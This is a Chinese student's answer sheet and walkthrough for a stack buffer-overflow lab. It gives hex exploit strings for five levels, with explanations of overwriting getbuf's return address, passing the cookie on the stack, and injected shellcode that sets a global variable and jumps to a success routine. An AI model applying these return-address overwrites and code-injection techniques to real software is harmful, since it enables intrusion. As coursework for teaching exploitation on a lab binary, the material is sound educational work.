答案
学号后六位:001036
第零关:B8 D6 DF 91 1B 68 81 11 40 00 C3 00 C8 FD 19 00 98 FD 19 00
第一关:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 11 40 00
第二关:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 40 00 00 00 00 00 D6 DF 91 1B
第三关:B8 D6 DF 91 1B A3 04 90 40 00 68 60 12 40 00 C3 98 FD 19 00
第四关:B8 D6 DF 91 1B A3 04 90 40 00 68 B0 12 40 00 C3 98 FD 19 00 80 15 40 00

Overview
- input的位置
main->test->getbuf->getxs - 栈中间必然存在一段内容表示
getbuf的返回地址,我们要做的就是输入一段较长的字符串,实现对返回地址的覆盖,这样就可以返回到我们想要的地方
第一关
- 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 11 40 00
- 第一关自动会
call _exit,程序会自动退出,所以无需考虑维护栈结构(除第四关外都是如此) - 找到输出第一关成功通过的地址
004011F0,将返回地址修改到此处 - 注意小端寻址
第二关
- 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 12 40 00 00 00 00 00 D6 DF 91 1B
- 与第一关类似,也是需要把返回地址修改为输出第二关成功通过的地址
00401210 - 第二关比第一关多考虑了一个参数,即cookie(我学号对应的cookie是1B91DFD6)
- 要求
[esp+8]=cookie,注意到esp+8对应输入的第25-28字节,于是把这些位传入我的cookie即可 
- 要求
第三关
- B8 D6 DF 91 1B A3 04 90 40 00 68 60 12 40 00 C3 98 FD 19 00
- 首先将返回地址修改为
0019FD98,即读入机器码的起始地址,这样就可以让程序执行我们输入的指令 - 本关要求修改
global_value的值为cookie
- 所以需要跳转到修改全局变量的地址
00409004,并把cookiemov进去
- 之后需要往栈中
push进输出第三关通过的地址00401260,最后用ret指令返回 - 即答案的前16个字节为如下汇编代码的机器码,最后四个字节为机器码的起始地址
mov eax, 0x1B91DFD6
mov [0x00409004], eax
push 0x00401260
ret
第四关
- B8 D6 DF 91 1B A3 04 90 40 00 68 B0 12 40 00 C3 98 FD 19 00 80 15 40 00
- 这一关是在第三关的基础上完成的
- 与其他关卡不同的一点是函数结尾不是
exit,如果继续延用第三关密码,pc将ret到输入字符的21-24字节 - 所以我们需要把
ret的地址修改为函数exit的地址00401580 - 即答案的前16个字节为如下汇编代码的机器码,然后四个字节为机器码的起始地址,最后四个字节为
exit的地址
mov eax, 0x1B91DFD6
mov [0x00409004], eax
push 0x004012B0
ret
第零关
- B8 D6 DF 91 1B 68 81 11 40 00 C3 00 C8 FD 19 00 98 FD 19 00
- 交的时候才发现还有第零关
- 注意到这里比较了
[ebp+var_4]的值,要想鸟不被杀死,就必须确保getbuf结束后ebp不能被改变,仍为0019FDC8 - 即答案的前12个字节为如下汇编代码的机器码,然后四个字节为
ebp原来的值,最后四个字节为机器码的起始地址0019FD98
mov eax, 0x1B91DFD6
push 0x00401181
ret



9567

被折叠的 条评论
为什么被折叠?



